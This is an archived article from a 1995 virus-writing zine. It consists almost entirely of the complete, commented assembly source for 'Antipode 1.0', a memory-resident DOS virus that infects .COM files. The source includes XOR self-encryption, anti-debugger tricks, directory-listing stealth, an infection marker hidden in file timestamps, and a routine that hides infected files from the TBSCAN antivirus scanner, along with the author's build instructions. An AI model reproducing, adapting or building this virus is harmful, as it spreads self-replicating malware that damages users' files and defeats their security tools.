HPAVC

home *** CD-ROM | disk | FTP | other *** search

/ HPAVC / HPAVC CD-ROM.iso / pc / MAGS.ZIP / VLAD#3.ZIP / ARTICLE.4_3 < prev next >

Wrap

Text File | 1995-01-18 | 12.5 KB | 486 lines

; Hi guys... ; Tonight it's Sun 1 Jan 1995 0:03:16 (4DOS Time) ; The Radio is playing U2's NEW YEARS DAY ;) ; So, I wish you a Happy NEW YEAR !!!! ; This virus is called Antipode, because of the position of France in ; relation to Australia. ; It's my very first release: ; - .COM/.com infection, not COMMAND.COM ; - Find-first/next stealth 4e/4f + 11/12 ; - Time based marker: seconds field=2 ; - Infects read-only files ; - Restores original Time/Date + second=2 ; - XOR encryption ; - Memory resident, using MCB's ; - Infection on Exec+Open+Extended Open ; it's a pretty fast infector... try to scan your disk when ; resident, it will use SCAN/TBSCAN and even F-PROT ; as a vector :) ; - Write Protect Errors removed by int 24h handler ; - I added a little trick to fool Veldman's TBSCAN, when in memory, ; TBSCAN don't scan any infected file... ; I'm sorry, but due to the encryption this virus is a bit tricky to ; create: you must assemble as usual, ; link it to a bin file : IP must be 0 ; append it to a .com that just jumps at the end ; now trace the resulting .com and skip the encryption ; but you MUST execute the push dx, ; without getting trapped by Qark :) ; That's not too hard, but you must be worthy to use this virus :) exec_adr = 0000:0100h ; Address of return jumps ; Allow Tasm to resolve too ; long jumps virusseg segment byte public assume cs:virusseg, ds:virusseg org 0000h ; Begin the virus at IP=0 start: push ds:[101h] ; 101=offset of the jump pop dx add dx,103h ; Dx=offset start push dx ; put it on the stack mov si,offset quit ; adaptation of Qarks routine ; to fool debuggers add si,dx mov word ptr ds:[si],20CDh quit: mov word ptr ds:[si],04C7h ; Heuristics and debuggers ; won't find us now. call cryptage ; decrypt the virus jmp debut_cr ; jump to the virus cryptage proc near mov si,offset debut_cr ; start of the encrypted area add si,dx ; fix it mov di,si ; use si as the xor value cryptage_2 proc near ; this proc will be called to ; encrypt the virus mov cx,offset last-offset debut_cr ; cx=length to encrypt cr: xor word ptr ds:[si],di ; enc/decrypt the virus inc si ; move to next byte loop cr ; and enc/decrypt the virus ret cryptage_2 endp cryptage endp debut_cr: mov si,offset buffer ; Buffer contains original ; bytes of the virus add si,dx ; fix it once again mov di,100h ; destination is entrypoint push cs pop es movsw movsb ; Patch back to the original mov ah,02ch ; Ask for the Time int 21h cmp dl,242 ; Are we in memory ? jne not_in_ram ; if not, install push cs mov ax,100h push ax retf ; go back to original entry not_in_ram: push cs pop ax dec ax mov ds,ax ; DS -> MCB inc ax mov cx,word ptr ds:[0003] mov dx,cx ; DX=number of parag. left add dx,ax sub cx,(((last2-start)/16)+1)*2 ; alloc 2*size of the virus mov word ptr ds:[0003],cx ; fix the MCB mov cx,dx sub cx,(((last2-start)/16)+1)*2 mov es,cx ; es=future cs of the virus mov cx,(last2-start)+1 ; size of the virus push cs pop ds pop dx mov si,dx ; si = entry of the virus push si push cx mov di,0 rep movsb ; copy the virus to es:0 pop cx pop si rep movsb ; once again push es mov cx,offset nextstep push cx retf ; Jump to ES:IP ;install the virus in ram and hook vectors nextstep: ; We are at the top of mem push cs pop ds mov word ptr ds:[farjmp+3],ax ; Fix the return adress mov ax,3521h ; Save the int 21h vectors int 21h mov ds:word ptr save_int21+2,es mov ds:word ptr save_int21,bx mov dx,offset my_int21 ; Use our int instead mov ax,2521h int 21h farjmp: jmp far ptr exec_adr ;Return to the original my_int21 proc far cmp ah,11h ; Find first je dir_stealth cmp ah,12h ; Find next je dir_stealth cmp ah,4Eh ; Find first je find_file cmp ah,4Fh ; Find next je find_file cmp ah,3dh ; File open je check_it cmp ah,4bh ; Exec je check_it cmp ah,6ch ; Extended open je check_it cmp ah,4ch je terminate cmp ah,02ch ; Time jne to_vect call int21 mov dl,242 ; seconds = 242 push cs pop bx iret check_it: jmp check_it2 dir_stealth: call int21 test al,al jnz not_a_file pushf push ax push bx push es mov ah,51h int 21h mov es,bx cmp bx,es:[16h] jnz not_infected mov bx,dx mov al,[bx] push ax mov ah,2fh int 21h pop ax inc al jnz fcb_ok add bx,7h fcb_ok: mov ax,es:[bx+17h] add bx,3 jmp patch_size find_file: call int21 jc not_a_file pushf push ax push bx push es mov ah,2Fh int 21h ; Ask for the DTA mov ax,es:[bx+16h] ; ax=time patch_size: and al,1fh ; ax=seconds xor al,1 ; are seconds=2 ? jnz not_infected mov ax,offset last-offset start ; ax = size of the virus cmp byte ptr cs:[tbscan_active],1 ; is TBSCAN active ? jne dont_fool mov ax,word ptr es:[bx+1Ah] ; if active the file size = 0 dont_fool: sub word ptr es:[bx+1Ah],ax ; sub virus size to file size not_infected: pop es pop bx pop ax popf not_a_file: retf 2 ; no iret to save the flags ; thanks to Qark... check_it2: pushf push ax push bx push cx push di push dx push ds push es push si ; TOO MANY PUSHS !!! ; OPTIMISE !!! mov byte ptr cs:[function],ah ; save ah for later cmp ax,6c00h jne not_extended cmp dx,0001 ; int 21h ax=6c00h/dx=0001h-> ; int 21 ah=3dh jne no_good mov dx,si ; the name -> DS:SI not_extended: push ds push dx ; save filename seg/offs mov ax,3524h int 21h mov word ptr cs:[save_int24],bx mov word ptr cs:[save_int24+2],es ; save int 24h push cs pop ds mov dx,offset my_int24 mov ax,2524h int 21h ; install our int pop dx pop ds ; restore the filename mov al,00h push ds push ds pop es mov di,dx mov cx,0ffh repne scasb ; seek to the end of the name push cs pop ds cmp byte ptr cs:[function],4bh jne not_exec push di sub di,11 mov si,offset tbscan mov cx,10 rep cmpsb jnz not_tbscan mov byte ptr cs:[tbscan_active],1 not_tbscan: pop di not_exec: sub di,4 push di ; seek to the extension mov si,offset comfile mov cx,3 rep cmpsb ; check if the file is a COM pop di jz good push di mov si,offset comfile+3 mov cx,3 rep cmpsb ; or a com pop di jnz no_good good: pop ds cmp byte ptr [di-2],'D' ; COMMAND.COM ? jnz not_command cmp byte ptr [di-8],'C' jz push_no_good not_command: mov ax,4300h int 21h ; get the attributes mov word ptr cs:[save_attrib],cx jc exit_2 ; if no file exists...RUN !!! mov ax,4301h xor cx,cx int 21h ; set zero attributes push ds push dx mov ax,3d02h ;Open file Read/write call int21 mov bx,ax ; bx = handle mov ax,5700h ; get file time/date int 21h mov cs:[save_time],cx mov cs:[save_date],dx ; save them mov ax,word ptr cs:[save_time] ;Check for an infection and al,1Fh xor al,1 je dirty_exit push cs pop ds mov dx,offset buffer+(offset last2-offset start)+1 mov cx,end_patch-patch mov ax,3F00h ; Read xx first bytes int 21h ; to te buffer of the second ; copy of the virus in memory xor cx,cx xor dx,dx mov ax,4202h ; Seek to EOF.. int 21h mov di,ax ; ax = end of file add di,offset debut_cr-offset start+100h ; di = value of the XOR sub ax,3h ; ax = adress of the jump mov word ptr cs:[return+1],ax ; patch the future file mov si,(offset last2-offset start)+offset debut_cr+1 ; si=offset of the 2nd virus push si push di call cryptage_2 ; crypt the 2nd copy push cs pop ds mov dx,offset last2+1 ; dx= offset of the 2nd copy mov cx,last-start mov ah,40h int 21h ; Write the virus to file... pop di pop si call cryptage_2 ; decrypt the 2nd copy xor cx,cx xor dx,dx mov ax,4200h ; seek to start of file int 21h push cs pop ds mov dx,offset patch mov cx,end_patch-patch mov ah,40h int 21h ; write the jump to the file mov dx,cs:[save_date] mov cx,cs:[save_time] or cx,0001h and cx,0FFE1h mov ax,5701h int 21h ; restore file time/date dirty_exit: pop dx pop ds mov ah,3eh int 21h ; close the file exit_2: mov ax,4301h mov cx,word ptr cs:[save_attrib] int 21h ; restore the attributes push_no_good: push ds no_good: pop ds mov ds,cs:[save_int24+2] mov dx,cs:[save_int24] mov ax,2524h int 21h ; restore the int 24h pop si pop es pop ds pop dx pop di pop cx pop bx pop ax popf to_vect: jmp dword ptr cs:[save_int21] ; and call the int 21h terminate: mov byte ptr cs:[tbscan_active],0 jmp to_vect my_int21 endp my_int24 proc far ; int 24h mov al,0 ; no problem... iret ; and return my_int24 endp comfile db 'COMcom' ; extensions to infect tbscan db 'TBSCAN.EXE' db '[Antipode 1.0]',0 db 'by Automag/VLAD' tbscan_active db 0 buffer: db 0CDh,20h,90h int21 proc near pushf db 9Ah save_int21 dw 2 dup (?) ret int21 endp patch: return: db 0e9h last: db 00,00 end_patch: save_int24 dw 2 dup (?) function db 0 save_attrib dw 0 save_date dw 0 save_time dw 0 last2: virusseg ends end start